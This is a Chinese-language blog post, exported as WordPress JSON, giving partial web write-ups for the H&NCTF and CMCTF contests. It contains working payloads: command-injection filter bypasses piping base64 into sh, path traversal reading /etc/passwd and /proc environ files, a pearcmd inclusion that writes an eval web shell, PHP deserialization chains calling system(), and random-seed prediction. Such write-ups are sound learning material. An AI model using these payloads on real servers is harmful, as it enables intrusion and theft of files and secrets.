{"id":121,"date":"2025-06-08T20:45:30","date_gmt":"2025-06-08T12:45:30","guid":{"rendered":"http:\/\/101.201.119.158\/?p=121"},"modified":"2025-06-16T18:34:17","modified_gmt":"2025-06-16T10:34:17","slug":"hnctf%e9%83%a8%e5%88%86web%e9%a2%98%e8%a7%a3cmctf%e9%83%a8%e5%88%86web%e9%a2%98%e8%a7%a3","status":"publish","type":"post","link":"http:\/\/101.201.119.158\/?p=121","title":{"rendered":"H&NCTF\u90e8\u5206web\u9898\u89e3+CMCTF\u90e8\u5206web\u9898\u89e3"},"content":{"rendered":"\n

(\u83dc\u9e21wea5e1\u7b49\u5f85\u5b98\u65b9wp\u4e2d)(\u540e\u9762\u4f1a\u66f4\u65b0)<\/p>\n\n\n\n

H&NCTF<\/h2>\n\n\n\n

Really_Ez_Rce<\/h3>\n\n\n\n

\u662f..\u662f…\u662f…rce,\u6211\u4eec\u6709\u6551\u4e86<\/p>\n\n\n\n

<?php
header('Content-Type: text\/html; charset=utf-8');
highlight_file(__FILE__);
error_reporting(0);
\u200b
if (isset($_REQUEST['Number'])) {
    $inputNumber = $_REQUEST['Number'];
    
    if (preg_match('\/\\d\/', $inputNumber)) {
        die(\"\u4e0d\u884c\u4e0d\u884c,\u4e0d\u80fd\u8fd9\u6837\");
    }
\u200b
    if (intval($inputNumber)) {
        echo \"OK,\u63a5\u4e0b\u6765\u4f60\u77e5\u9053\u8be5\u600e\u4e48\u505a\u5417\";
        
        if (isset($_POST['cmd'])) {
            $cmd = $_POST['cmd'];
            
            if (!preg_match(
                '\/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\\\\\|more|cc|tac|less|head|\\.|\\{|\\}|uniq|copy|%|file|xxd|date|\\[|\\]|flag|bash|env|!|\\?|ls|\\'|\\\"|id\/i',
                $cmd
            )) {
                echo \"\u4f60\u4f20\u7684\u53c2\u6570\u4f3c\u4e4e\u633a\u6b63\u7ecf\u7684,\u653e\u4f60\u8fc7\u53bb\u5427<br>\";
                system($cmd);
            } else {
                echo \"nonono,hacker!!!\";
            }
        }
    }
}<\/pre>\n\n\n\n
\u8fc7\u6ee4\u7684\u633a\u591a\u7684\uff0c\u4e0a\u9762Number\u662fintval\u51fd\u6570\uff0c\u53ef\u4ee5\u4f7f\u7528\u6570\u7ec4\u7ed5\u8fc7\uff0cNumber[]=1<\/p>\n\n\n\n
\u4e0d\u8fc7\u53cd\u5f15\u53f7\u6ca1\u6709\u88ab\u8fc7\u6ee4\uff0c\u53ef\u4ee5\u8fdb\u884c\u62fc\u63a5ls\u547d\u4ee4<\/p>\n\n\n\n
cmd=l``s; cmd=l``s \/,flag\u5728flag.txt\uff0c\u7136\u540e\u5c31\u662f\u770b\u600e\u4e48\u8bfb\u7684\u4e86
\u6668\u66e6\u5927\u795e\u662fcmd=a=ca;b=t;c=fla;d=g;e=`expr substr $KUBERNETES_SERVICE_HOST 3 1`;f=tx;g=t;`echo $a$b \/$c$d$e$f$g`\u8fd9\u6837\u51fa\u6765\u7684\uff0c.\u662f\u901a\u8fc7\u73af\u5883\u53d8\u91cfKUBERNETES_SERVICE_HOST\u7684\u7b2c 3 \u4e2a\u5b57\u7b26\u5f00\u59cb\u622a\u53d6 1 \u4e2a\u5b57\u7b26\u622a\u53d6\u51fa\u6765\u7684
\u5728\u7fa4\u91cc\u9762\u53d1\u73b0cd \/%26%26c$@at `l$@s`\u786e\u5b9e\u5389\u5bb3\/\/ cd \/;ca$1t `l$1s`
\u7136\u540e\u5c31\u662fbase64\u52a0\u62fc\u63a5\uff1a
cmd=a=ba;b=se64;c=s;d=h;echo Y2F0IC9mKg==|$a$b -d|$c$d ->echo Y2F0IC9mKg== | base64 -d | sh
Sh \u6267\u884c\u547d\u4ee4 cat \/f*
\u770b\u7fa4\u91cc\u9762\u7684\u5927\u4f6c\uff0c\u53d1\u73b0tar -cvf backup \/\u8fd9\u6837\u5907\u4efd\u5e76\u4e14\u5217\u51fa\u6765\uff0c\u53ef\u4ee5\u770b
cd \/;cp $(ls | grep fl) \/var\/www\/html\/flag_gaiming \/\/\u53ef\u4ee5cp\u6539\u540d\u590d\u5236\u5230html\u76ee\u5f55\u4e0b\u518dcat\u6253\u5f00
cp $(ls \/| grep fl) flag_gaiming
cd \/;c``at `grep fl`
cmd=a=fl;b=ag;c=l;d=s;cd \/;aa=fin;aaa=d; rev`$aaSaaa \/proc\/self\/cwd\/-inum 86676`
\u4e00\u9898\u591a\u89e3<\/pre>\n\n\n\n
DeceptiFlag<\/h3>\n\n\n\n
\u8fd9\u4e2a\u6253\u5f00\u53d1\u73b0\u4e0d\u7ba1\u600e\u4e48\u4f20\u90fd\u4e0d\u884c\uff0cbp\u6293\u5305\u53d1\u73b0\u5b58\u5728Lang\u8fd9\u4e2a\u53c2\u6570\uff0c\u76f4\u63a5qaq_visible=xiyangyang&Lang=huitailang \u7136\u540e\/?qaq=xiyangyang\u53d1\u73b0\u56de\u663e\u51fa\u6765tips.php\u8fd9\u4e2a\u6587\u4ef6\uff0c\u7136\u540e\u53bb\u8bbf\u95ee\uff0c\u53d1\u73b0302\u8df3\u8f6ctips.php?file=flag\uff0c\u4f7f\u7528\u4f2a\u534f\u8bae\u505a\uff0c\u4f46\u662f\u4e0d\u7ba1\u662fflag.php\u8fd8\u662f\/flag\u90fd\u662f\u6ca1\u6709flag\u7684\uff0c\u7136\u540e\u5c31\u8bd5 ..\/..\/..\/..\/..\/..\/etc\/passwd\u76ee\u5f55\u7a7f\u8d8a\uff0c\u8bfb\u4e00\u4e0b\/etc\/passwd\u53d1\u73b0\u53ef\u4ee5\uff0cflag\u5c31\u662f\u4e0d\u77e5\u9053\u8def\u5f84<\/p>\n\n\n\n
\u8fd9\u91cc\u6709\u4e24\u4e2a\u65b9\u6cd5<\/p>\n\n\n\n
kevin\u5e08\u5085\u63d0\u4f9b\u7684\u975e\u9884\u671f\u89e3\uff1a\u76f4\u63a5\u4e0aenv\u73af\u5883\u53d8\u91cf\u91cc\u9762\/proc\/self\/environ\uff0c\u53d1\u73b0\u786e\u5b9e\u6ca1\u6709\uff0c\u5c31\u4e00\u4e2a\u4e2a\u7206\u7834env\uff0c\/proc\/\u6570\u5b57\/environ\u7206\u7834\uff0c\u53d1\u73b0\u5728\/proc\/1\/environ\u7684\u65f6\u5019\u51fa\u73b0flag<\/pre>\n\n\n\n
\u6668\u66e6\u5927\u795e\u63d0\u4f9b\u7684\u65b9\u6cd5\uff1a\/tips.php?+config-create+\/&file=file:\/\/\/usr\/local\/lib\/php\/pearcmd&\/<?=@eval($_POST['cmd']);?>+test.php \u76f4\u63a5\u5199\u5165\u5c0f\u9a6c\uff0c\u4e0d\u8fc7\u8fd9\u4e2a\u662f\u9488\u5bf9 PHP \u73af\u5883\u4e2d pearcmd.php \u6587\u4ef6\u672c\u5730\u6587\u4ef6\u5305\u542b (LFI) \u6f0f\u6d1e\u7684\u5229\u7528\u5c1d\u8bd5
tips.php? - \u76ee\u6807\u6f0f\u6d1e\u9875\u9762
+config-create+\/ - \u8c03\u7528 pecmd.php \u7684 config-create \u547d\u4ee4
&file=file:\/\/\/usr\/local\/lib\/php\/pearcmd - \u6307\u5b9a pecmd.php \u6587\u4ef6\u8def\u5f84
<?=@eval($_POST['cmd']);?> - \u8981\u5199\u5165\u7684\u6076\u610f\u4ee3\u7801
+test.php - \u751f\u6210\u7684\u6076\u610f\u6587\u4ef6\u540d<\/pre>\n\n\n\n
ez_php<\/h3>\n\n\n\n
<?php
error_reporting(0);
class GOGOGO{
    public $dengchao;
    function __destruct(){
        echo \"Go Go Go~ \u51fa\u53d1\u55bd\uff01\" . $this->dengchao;
    }
}
class DouBao{
    public $dao;
    public $Dagongren;
    public $Bagongren;
    function __toString(){
        if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
            call_user_func_array($this->dao, ['\u8bd7\u4eba\u6211\u5403\uff01']);
        }
    }
}
class HeiCaFei{
    public $HongCaFei;
    function __call($name, $arguments){
        call_user_func_array($this->HongCaFei, [0 => $name]);
    }
}
\u200b
if (isset($_POST['data'])) {
    $temp = unserialize($_POST['data']);
    throw new Exception('What do you want to do?');
} else {
    highlight_file(__FILE__);
}
?><\/pre>\n\n\n\n
\u7528\u539f\u751f\u7c7b\u7ed5\u8fc7 hash \u51fd\u6570\uff0c\u53bb\u6389\u6700\u540e\u4e00\u4e2a\u5927\u62ec\u53f7\u5b9e\u73b0fast destruct\uff0c\u4ece\u800c\u7ed5\u8fc7 throw \u5f02\u5e38\u629b\u51fa<\/pre>\n\n\n\n
<?php
error_reporting(0);
class GOGOGO{
    public $dengchao;
    function __destruct(){
        echo \"Go Go Go~ \u51fa\u53d1\u55bd\uff01\" . $this->dengchao;
    }
}
class DouBao{
    public $dao;
    public $Dagongren;
    public $Bagongren;
    function __toString(){
        if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
            call_user_func_array($this->dao, ['\u8bd7\u4eba\u6211\u5403\uff01']);
        }
    }
}
class HeiCaFei{
    public $HongCaFei=\"system\";
    function __call($name, $arguments){
        echo \"yes\";
        call_user_func_array($this->HongCaFei, [0 => $name]);
    }
}
\u200b
$a = new GOGOGO();
$a->dengchao = new DouBao();
$a->dengchao->Dagongren=new Error(\"test\",1);$a->dengchao->Bagongren=new Error(\"test\",2);
$a->dengchao->dao=[new HeiCaFei(),'cat \/of*'];
echo urlencode(serialize($a));<\/pre>\n\n\n\n
CMCTF<\/h2>\n\n\n\n
lottery\u7b7e\u5230\u91cd\u751f\u7248<\/h4>\n\n\n\n
\u6ca1\u6709\u4ec0\u4e48\u597d\u8bf4\u7684\uff0c\u8fd0\u6c14\u76f4\u63a5\u51fa\u6765\u4e86<\/p>\n\n\n\n
\u51fd\u6570\u91cd\u751f\u7248<\/h4>\n\n\n\n
<?php
highlight_file(__FILE__);
if(isset($_GET['i'])){
    switch(strtolower(substr($_GET['i'],0,6))){
        default:
        if(!preg_match('\/php|flag|zlib|ftp|system|shell_exec|exec|file_get_contents|proc_open|fopen|fgets|file_put_contents|file|fread|readfile|stream_get_contents|cat|more|tac|\\:|\\]|\\[|\\+|\\-|\\*|\\eval|\\^|\\`|\\\"|\\<|\\>|\\\\|\\\/|\\ssh\/i',$_GET['i'])){
            eval($_GET['i']);
        }else{
            die('error');
        }break;
    }
}<\/pre>\n\n\n\n
\u53d1\u73b0\u6709\u7684\u65e0\u53c2\u6570rce\u91cc\u9762\u7684\u51fd\u6570\u6ca1\u6709\u88abban\uff0c\u4f7f\u7528get_defined_vars()\u8fd9\u4e2a\u51fd\u6570<\/p>\n\n\n\n
i=eval(end(current(get_defined_vars())));&b=system('ls \/');
i=eval(end(current(get_defined_vars())));&b=system('tac \/tmp\/f*');
echo \"\/var\/www\/html\/flag.php && echo '$flag = \"flag{950E490EF95195CEABF0AC916836E88F}\";'>>\/var\/www\/html\/flag.php && echo \"?>\">>\/var\/www\/html\/flag.php # echo $1>\/flag.txt && chmod 777 \/flag.txt #!\/bin\/bash \u989d\uff0c\u8fd9\u4e2a\u662f\u6ca1\u6709\u91cd\u5b9a\u5411\u51fa\u6765\u5417\uff0c(\u7591\u95ee)<\/pre>\n\n\n\n
pop\u4e4b\u6211\u53c8\u53cc\u53d2\u53d5\u91cd\u751f\u4e86<\/h4>\n\n\n\n
<?php
highlight_file(__FILE__);
class A1
{
    public $a1;
    public function __construct()
    {
        echo \"v50 Crazy Thursday v+flag\";
    }
    public function __wakeup()
    {
        $this->a1->get_flag();
    }
}
class A2
{
    public $a2 = '10086';
    public function get_flag()
    {
        echo \"flag{\" . $this->a2 . \"}\";
    }
}
class A3
{
    public $a3;
    public function __toString()
    {
        $this->a3->fun();
        return \" you can + 772019189 to ask answer\";
    }
}
class A4
{
    public $a4;
    public function fun()
    {  
        if ($_GET[\"2025\"]===\"admin\"){
            echo \"very easy not hard\";
            system(\"cat .\/flag.php\");
            echo $cmflag;
        }
    }
}
if (isset($_GET[\"wlaq\"])){
    @unserialize($_GET[\"wlaq\"]);
}<\/pre>\n\n\n\n
\u7b80\u5355\u7684\u53cd\u5e8f\u5217\u5316<\/p>\n\n\n\n
<?php
class A1
{
    public $a1;
}
class A2
{
    public $a2 = '10086';
}
class A3
{
    public $a3;
}
class A4
{
    public $a4;
\u200b
}
$a = new A1();
$b= new A2();
$c= new A3();
$d= new A4();
$a -> a1 = $b;
$b -> a2 = $c;
$c -> a3 = $d;
echo serialize($a);
\u4e0d\u8fc7\u8bb0\u5f97\u4f202025=admin\u7136\u540e\u770b\u6e90\u4ee3\u7801(\u8fd9\u91cc\u6211\u771f\u7684\u670d\u4e86)<\/pre>\n\n\n\n
can_u_escape<\/h4>\n\n\n\n
<?php
include(\"flag.php\");
highlight_file(__FILE__);
function filter($name){
    $safe=array(\"flag\",\"php\");
    $name=str_replace($safe,\"hake\",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
        
    }
}
$param=$_GET['a'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
    echo $flag;
}
?><\/pre>\n\n\n\n
\u672c\u6765\u770b\u4e0d\u660e\u767d\uff0cKevin\u5e08\u5085\u63d0\u793a\u8bf4\u5b57\u7b26\u4e32\u9003\u9038\uff0c\u90a3\u4e2a\u5fd8\u4e86\uff0c\u73b0\u5b66\u76f4\u63a5\u51fa\u6765\u4e86<\/pre>\n\n\n\n
<?php
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='aaaabb';
    public $pass='123456';
}
$AA=new A();
echo serialize($AA).\"\\n\";
$res=filter(serialize($AA));
echo $res;
$c=unserialize($res);
echo $c;
?>
\/\/\u8fd9\u91cc\u9644\u4e0a\u6211\u7684\u7b14\u8bb0\uff0c\u563b\u563b
\";s:4:\"pass\";s:8:\"escaping\";}
\u8981\u9003\u903829
php
phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp<\/pre>\n\n\n\n
busy_search<\/h4>\n\n\n\n
\u989d\uff0c\u4e00\u76f4\u6253\u4e0d\u5f00\uff0c\u4ee5\u4e3a\u73af\u5883\uff0c\u7ed3\u679c\u662f\u7b80\u5355\u7684\u4fe1\u606f\u6cc4\u9732\uff0c\u8bbf\u95eeindex.html\uff0c\u7136\u540e\u627e<!\u7684\uff0c\u62fc\u63a5\u5c31\u884c<\/p>\n\n\n\n
give!me!money!<\/h4>\n\n\n\n
\u76f4\u63a5dirsearch\u626b\u63cf\u51fa\u6765index.bar\uff0c\u53d1\u73b0\u6e90\u7801<\/p>\n\n\n\n
<?php
\u200b
\u200b
\u200b
\/\/ \u68c0\u67e5\u662f\u5426\u6709id\u53c2\u6570\u4f20\u5165
$success=0;
$shenhe=0;
$time=$_GET['time'];
$money=$_GET['money'];
if (isset($_GET['id'])) {
    $id = $_GET['id'];
\u200b
    \/\/ \u6839\u636eid\u7684\u503c\u6267\u884c\u4e0d\u540c\u7684\u64cd\u4f5c
    if ($id === 'a') {
        \/\/ \u5982\u679cid\u4e3aa\uff0c\u5411\u5f53\u524d\u9875\u9762\u53d1\u9001\u540d\u4e3amoney\u7684\u53c2\u6570\uff0c\u503c\u4e3a648
        header(\"Location: ?id=d&money=648\");
\u200b
        
    } elseif ($id === 'b') {
        \/\/ \u5982\u679cid\u4e3ab\uff0c\u8f93\u51fa\u7279\u5b9a\u7684\u4fe1\u606f
        echo \"\u54c8\u54c8\u54c8\uff0c\u743c\u7470\u5927\u5b66\u751f\uff0c\u4e0d\u8981\u653e\u5f03\u6323\u624e\uff0c\u4e56\u4e56\u5145\u94b1\u5427\uff01\\n\";
    } 
} else {
    \/\/ \u5982\u679c\u6ca1\u6709\u4f20\u5165id\u53c2\u6570\uff0c\u53ef\u4ee5\u8f93\u51fa\u63d0\u793a\u4fe1\u606f
    echo \"\u4e09\u56fd\u6740\u5f00\u542f\u6700\u65b0\u6d3b\u52a8\uff0c\u5145\u503c\u9001flag\u3002\u5145\u503c114514\u5143\u5373\u53ef\u83b7\u5f97\u9634\u66f9\u5730\u5e9c\u5c06\u90a2\u7532\u5fa1\uff0c\u9644\u8d60\u6c5f\u5927\u65b0\u751f\u8d5bflag\\n\";
\u200b
echo \"\u63d0\u793a\uff1a\u4f60\u7684\u751f\u6d3b\u8d39\u4e3a1000\u5143\u3002\u53d1\u9001id=a\u5145\u503c648\uff0c\u53d1\u9001id=b\u7403\u7403\u72d7\u5361\u7b56\u5212\u53d1\u5927\u5b66\u751f\u798f\u5229\\n\";
    echo \"\u5feb\u5feb\u5145\u94b1\u5427\uff01\";
}
if (isset($_GET['money']) && isset($_GET['id'])){
    if ($money<114514){
       echo \"\u5c31\u8fd9\u70b9\u94b1\u8fd8\u60f3\u4e70\u6b66\u5c06\uff1f\";
    }
    else{
       $ccc=time();
       $ttt=substr($ccc, 0, 7);
       mt_srand($ttt);
       for($i =0; $i <= 100; $i++){
          if($i == 100){
             $shenhe = mt_rand();
\u200b
          }
          else{
             mt_rand();
          };
       }
    }
}
$c=$_POST['c'];
if(isset($_POST['c']) && $money >= 114514){
    if($c == $shenhe){
       $sucess=1;
       echo \"\";
    }
    
}
\u200b
if ($sucess==0 && $money >= 114514){
    echo \"\u5f00\u6842\u4e86\uff1f\u54ea\u6765\u8fd9\u4e48\u591a\u94b1\";
}
?><\/pre>\n\n\n\n
\u903b\u8f91\u7b80\u5355\uff0c\u5c31\u662f\u65f6\u95f4\u6233\u4e0d\u77e5\u9053\u4e3a\u4ec0\u4e48\u6211\u8dd1\u4e0d\u51fa\u6765<\/p>\n\n\n\n
<?php\n$current_time = time(); \/\/ \u540c\u6b65\u653b\u51fb\u673a\u5668\u4e0e\u670d\u52a1\u5668\u7684\u65f6\u95f4\n$window = 1; \/\/ \u65f6\u95f4\u8bef\u5dee\u7a97\u53e3\uff08\u79d2\uff09\n\nfor ($offset = -$window; $offset <= $window; $offset++) {\n    $seed_time = $current_time + $offset;\n    $seed = substr($seed_time, 0, 7);\n    mt_srand($seed);\n\n    for ($i = 0; $i <= 100; $i++) {\n        $rand = mt_rand();\n        if ($i == 100) {\n            echo \"Seed: $seed \u2192 shenhe: $rand\\n\";\n        }\n    }\n}\n?><\/code><\/pre>\n\n\n\n
?id=d&money=1114514
c=\u65f6\u95f4\u6233<\/pre>\n\n\n\n
u_know?<\/h4>\n\n\n\n
\u5148\u770bshop.php<\/p>\n\n\n\n
<?php
highlight_file(__FILE__);
include(\"change.php\");
$buy=$_GET['buy'];
$un_buy=unserialize($buy);
$gift1=\"xiaomisu7\";
$gift2=\"redmiK60\";
if(isset($_GET['buy'])){
    $gift1=$anotherthing;
    $gift2=$otherthing;
    
    if($un_buy['onething']==$gift1 && $un_buy['twothing']==$gift2){
        echo $flag1;
        echo \"\u8c22\u8c22\u4f60\uff0c\u4f60\u662f\u4e2a\u597d\u4eba\";
    }
    else{
\u200b
        echo \"\u5973\u795e\uff1a\u201c\u54ce\u5440\u6211\u8865\u836f\u4e70\u8fd9\u4e2a\u201d\";
    }
}
else{
echo \"\u7ed9\u5979\u4e70\u4ec0\u4e48\u597d\u5462\";
}
\u200b
?> \u7ed9\u5979\u4e70\u4ec0\u4e48\u597d\u5462<\/pre>\n\n\n\n
\u770b\u89c1\u5173\u952e\u8bed\u53e5\uff0c\u7136\u540e\u53d1\u73b0\u662f\u5173\u4e8earray \u6570\u7ec4\u7684\u4e1c\u897f<\/p>\n\n\n\n
from phpserialize import * 
buy = {'onething':True,'twothing':True} 
print(serialize(buy)) 
# a:2:{s:8:\"onething\";b:1;s:8:\"twothing\";b:1;}
?buy=a:2:{s:8:\"onething\";b:1;s:8:\"twothing\";b:1;}
\u51fa\u6765WW91IGRvbid0IGFjdHVhbGx5IGhhdmUgYSBnaXJsZnJpZW\u8c22\u8c22\u4f60\uff0c\u4f60\u662f\u4e2a\u597d\u4eba<\/pre>\n\n\n\n
kfc.php<\/p>\n\n\n\n
<?php
\u200b
class order
{
    public $start;
\u200b
    function __construct($start)
    {
        $this->start = $start;
    }
\u200b
    function __destruct()
    {
        $this->start->helloworld();
    }
}
\u200b
class zhengcan
{
    public $lbjjrj;
\u200b
    function __call($name, $arguments)
    {
        echo $this->lbjjrj->douzhi;
    }
}
\u200b
class tiandian
{
    
\u200b
    function __get($Attribute)
    {
        echo '';
        
    }
}
\u200b
if(isset($_GET['serialize'])) {
    unserialize($_GET['serialize']);
} else {
    echo \"\u4f7f\u7528\u538b\u7f29\u5305\u70b9\u5355kfc.rar\";
}<\/pre>\n\n\n\n
\u53cd\u5e8f\u5217\u5316\u76f4\u63a5\u6253
<?php
\u200b
class order
{
    public $start;
}
\u200b
class zhengcan
{
    public $lbjjrj;
}
\u200b
class tiandian
{
\u200b
\u200b
}
$a = new order();
$a -> start = new zhengcan();
$a -> start -> lbjjrj = new tiandian();
echo serialize($a);
\/\/O:5:\"order\":1:{s:5:\"start\";O:8:\"zhengcan\":1:{s:6:\"lbjjrj\";O:8:\"tiandian\":0:{}}}
\u56de\u663e5kLCBpdCdzIGp1c3QgbXkgaW1hZ2luYXJ5IGN5YmVyIGxpZmU=\uff0c\u4e24\u4e2abase64\u89e3\u5bc6\u51fa\u6765flag<\/pre>\n","protected":false},"excerpt":{"rendered":"
(\u83dc\u9e21wea5e1\u7b49\u5f85\u5b98\u65b9wp\u4e2d)(\u540e\u9762\u4f1a\u66f4\u65b0) H&NCTF Really_Ez_Rce \u662f..\u662f& […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-121","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/121","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=121"}],"version-history":[{"count":5,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/121\/revisions"}],"predecessor-version":[{"id":142,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/121\/revisions\/142"}],"wp:attachment":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=121"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=121"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=121"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}